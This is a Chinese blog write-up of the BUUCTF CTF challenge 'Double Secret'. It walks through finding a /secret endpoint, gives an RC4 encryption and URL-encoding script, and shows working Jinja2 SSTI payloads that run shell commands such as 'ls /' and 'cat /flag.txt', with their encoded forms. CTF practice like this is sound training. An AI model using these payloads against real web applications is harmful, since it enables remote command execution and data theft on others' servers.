首页 > 其他分享 >BUUCTF:[CISCN2019 华东南赛区]Double Secret

BUUCTF:[CISCN2019 华东南赛区]Double Secret

时间:2023-06-19 21:03:28浏览次数:54  
标签:box __ BUUCTF C3% Double rc4 Secret key C2%


BUUCTF:[CISCN2019 华东南赛区]Double Secret

BUUCTF:[CISCN2019 华东南赛区]Double Secret_ci


查看robots.txt

BUUCTF:[CISCN2019 华东南赛区]Double Secret_url编码_02


无可用信息

线索在目录:http://274c1aad-138b-4fe6-9815-8feeaf028127.node3.buuoj.cn/secret

BUUCTF:[CISCN2019 华东南赛区]Double Secret_ci_03


尝试传参?secret=

发现当字符串长度超过4位的时候,出现报错

BUUCTF:[CISCN2019 华东南赛区]Double Secret_url编码_04


寻找关键代码

BUUCTF:[CISCN2019 华东南赛区]Double Secret_ci_05


这里调用了rc4再通过render_template_string执行,SSTI模板注入?

也给出了解密的密文

rc4加密脚本并进行url编码。

最下方的key表示密钥,运行时只需要输入你的ssti的payload,即可得到加密

脚本找了网上的

import base64
from urllib import parse

def rc4_main(key = "init_key", message = "init_message"):#返回加密后得内容
    s_box = rc4_init_sbox(key)
    crypt = str(rc4_excrypt(message, s_box))
    return  crypt

def rc4_init_sbox(key):
    s_box = list(range(256)) 
    j = 0
    for i in range(256):
        j = (j + s_box[i] + ord(key[i % len(key)])) % 256
        s_box[i], s_box[j] = s_box[j], s_box[i]
    return s_box
def rc4_excrypt(plain, box):
    res = []
    i = j = 0
    for s in plain:
        i = (i + 1) % 256
        j = (j + box[i]) % 256
        box[i], box[j] = box[j], box[i]
        t = (box[i] + box[j]) % 256
        k = box[t]
        res.append(chr(ord(s) ^ k))
    cipher = "".join(res)
    return (str(base64.b64encode(cipher.encode('utf-8')), 'utf-8'))

key = "HereIsTreasure"  #此处为密文
message = input("请输入明文:\n")
enc_base64 = rc4_main( key , message )
enc_init = str(base64.b64decode(enc_base64),'utf-8')
enc_url = parse.quote(enc_init)
print("rc4加密后的url编码:"+enc_url)
#print("rc4加密后的base64编码"+enc_base64)

SSTI注入payload:
ls /列出根目录文件

{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].eval("__import__('os').popen('ls /').read()")}}{% endif %}{% endfor %}

BUUCTF:[CISCN2019 华东南赛区]Double Secret_ci_06

.J%19S%C2%A5%15Km%2B%C2%94%C3%96S%C2%85%C2%8F%C2%B8%C2%97%0B%C2%90X5%C2%A4A%C3%9FMD%C2%AE%07%C2%8BS%C3%9F7%C3%98%12%C3%85r%C3%A9%1B%C3%A4%2A%C3%A7w%C3%9B%C2%9E%C3%B1h%1D%C2%82%25%C3%AD%C3%B4%06%29%7F%C3%B0o%2C%C2%9E9%08%C3%87%C3%B7u.%C3%BB%C2%95%14%C2%BFv%05%19j%C2%AEL%C3%9A-%C3%A3t%C2%AC%7FX%2C8L%C2%81%C3%91H%C3%BF%C3%B6%C3%A3%C3%9A%C3%B5%C2%9A%C2%A6%23%06%C2%A7%C2%B8%C2%BB%C2%B9%C3%A6ny%C3%98%C3%8Aj%C2%BB%25X%15%C3%97%C2%84F%24%1As%5E%C2%9B%C3%97%C2%A4%20j%C2%A5/%17%1C%C3%9Fs%C2%AF6%C3%85%C2%A5%C2%B1.%C3%A8%C2%A2Y%21%C2%A8%C3%A0%10%C2%8Aa%5D%5C%2B%C3%8E%C2%B0%C2%99%C3%A0%C2%BE%C2%87-%10x%20%5D%C3%9A%0B%C2%882P%C3%A3%C3%9C%1A%3A%3F%C3%A6%C2%B2%20%C2%A2%C3%82%C2%B9%0F%0B%C3%95G%23-%C3%A9%C2%A2%19%C3%85%C2%B2%C2%8F%22%C3%AE%C2%A3%C2%93l%C3%8A%7B%03%C3%B9%C2%B6%C2%92%C3%97%11%20%C3%9C%C3%AE%C3%AA%02

BUUCTF:[CISCN2019 华东南赛区]Double Secret_ci_07


cat /flag.txt获取flag

{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].eval("__import__('os').popen('cat /flag.txt').read()")}}{% endif %}{% endfor %}

BUUCTF:[CISCN2019 华东南赛区]Double Secret_url编码_08

.J%19S%C2%A5%15Km%2B%C2%94%C3%96S%C2%85%C2%8F%C2%B8%C2%97%0B%C2%90X5%C2%A4A%C3%9FMD%C2%AE%07%C2%8BS%C3%9F7%C3%98%12%C3%85r%C3%A9%1B%C3%A4%2A%C3%A7w%C3%9B%C2%9E%C3%B1h%1D%C2%82%25%C3%AD%C3%B4%06%29%7F%C3%B0o%2C%C2%9E9%08%C3%87%C3%B7u.%C3%BB%C2%95%14%C2%BFv%05%19j%C2%AEL%C3%9A-%C3%A3t%C2%AC%7FX%2C8L%C2%81%C3%91H%C3%BF%C3%B6%C3%A3%C3%9A%C3%B5%C2%9A%C2%A6%23%06%C2%A7%C2%B8%C2%BB%C2%B9%C3%A6ny%C3%98%C3%8Aj%C2%BB%25X%15%C3%97%C2%84F%24%1As%5E%C2%9B%C3%97%C2%A4%20j%C2%A5/%17%1C%C3%9Fs%C2%AF6%C3%85%C2%A5%C2%B1.%C3%A8%C2%A2Y%21%C2%A8%C3%A0%10%C2%8Aa%5D%5C%2B%C3%8E%C2%B0%C2%99%C3%A0%C2%BE%C2%87-%10x%20%5D%C3%9A%0B%C2%882P%C3%A3%C3%93%08n0%C3%AE%C3%BDb%C2%B1%C3%80%C3%B6%1F%5B%C2%88B%23~%C3%A6%C2%BC%5D%C2%81%C3%BF%C3%88d%C2%AE%C2%B8%C3%8E2%C2%92%20C%C2%B7%C2%B7%C2%95%C3%95Wj%C3%93%C2%B5%C3%AA_%C2%A1%2B%C2%87%C2%B5l%08%27%3F%C3%96

BUUCTF:[CISCN2019 华东南赛区]Double Secret_ci_09


标签:box,__,BUUCTF,C3%,Double,rc4,Secret,key,C2%
From: https://blog.51cto.com/u_16159500/6517200

相关文章

  • BUUCTF:[WUSTCTF2020]girlfriend
    下载下来一个音频文件一个题目描述使用Audacity打开这段音频Audacity官方下载Audacity是一款易于使用的多轨音频编辑器和记录器,适用于Windows,MacOSX,GNU/Linux和其他操作系统。在CTF比赛中,可以通过对音频进行频谱的分析,以及音频其他内容的分析,找到flag。听起来像是在打电话......
  • BUUCTF:[XMAN2018排位赛]通行证
    PS:网上有很多解密网站,有时候可能同一种类型解密网站可能解密出不同的内容,所以当一个站解不出来的时候,建议多测试几个,别在一棵树上吊死题目内容:a2FuYmJyZ2doamx7emJfX19ffXZ0bGFsbg==base64解码得到kanbbrgghjl{zb____}vtlaln栅栏密码9(每组字数7)kzna{blnl_abj_lbh_trg_vg}凯撒解......
  • BUUCTF:[BSidesCF 2019]Mixer
    知识盲区题不多bb了,涉及加密的看不太懂,直接放参考链接,记录一下......
  • BUUCTF:[HCTF 2018]Hide and seek
    BUUCTF:[HCTF2018]Hideandseek参考:https://www.jianshu.com/p/d20168da7284先随便输入账号密码登录提示我们上传zip文件上传一个文件压缩后的zip,输出了文件压缩前的内容可能是有文件读取,我们创建一个软链接(类似windows的快捷方式)指向一个服务器上的文件,试试看能不能读取root@......
  • BUUCTF:[RCTF2015]EasySQL
    BUUCTF:[RCTF2015]EasyS先注册一个用户在注册的时候,fuzz测试发现在username和email中过滤了以下字符:@orandspace(空格)substrmidleftrighthandle没有源码慢慢测试.......登录,发现还有个改密码在注册时用户名加些测试字符进去,'mochu7"\然后登录,在修改密码的时候,发现报错了......
  • BUUCTF NewStarCTF 公开赛赛道Week2 Writeup
    文章目录WEEK2WEBWord-For-You(2Gen)IncludeOneUnserializeOneezAPIMISCYesecnodrumsticks2Coldwinds'sDesktop奇怪的二维码qsdz'sgirlfriend2WEEK2WEBWord-For-You(2Gen)题目描述哇哇哇,我把查询界面改了,现在你们不能从数据库中拿到东西了吧哈哈(不过为了调试的代码似乎忘......
  • BUUCTF:[HDCTF2019]你能发现什么蛛丝马迹吗
    https://buuoj.cn/challenges#[HDCTF2019]%E4%BD%A0%E8%83%BD%E5%8F%91%E7%8E%B0%E4%BB%80%E4%B9%88%E8%9B%9B%E4%B8%9D%E9%A9%AC%E8%BF%B9%E5%90%97memory.imgVolatility分析查看文件的Profilevolatility-fmemory.imgimageinfo猜测为:Win2003SP1x86查看进程volatility-fmemor......
  • BUUCTF:[GKCTF2020]Harley Quinn
    https://buuoj.cn/challenges#[GKCTF2020]Harley%20QuinnHeathens末尾存在DTMF码(电话拨号码)将这一段截取出来,使用工具dtmf2num识别#22283334447777338866#对照即可得到#ctfisfun#题目压缩包上有提示:FreeFileCamouflageFreeFileCamouflage是一款将重要文档以AES加密算法存放......
  • BUUCTF:[SUCTF2018]followme
    https://buuoj.cn/challenges#[SUCTF2018]followme导出HTTP,这里大部分文件内容显示貌似再爆破admin密码有点多,尝试整个文件夹找一下相关关键字,例如CTF、flag之类的grep-r'CTF'./new/flag{password_is_not_weak}......
  • BUUCTF:[MRCTF2020]Ez_bypass
    https://buuoj.cn/challenges#[MRCTF2020]Ez_bypass右键查看源代码include'flag.php';$flag='MRCTF{xxxxxxxxxxxxxxxxxxxxxxxxx}';if(isset($_GET['gg'])&&isset($_GET['id'])){$id=$_GET['id'];$gg=$_GET......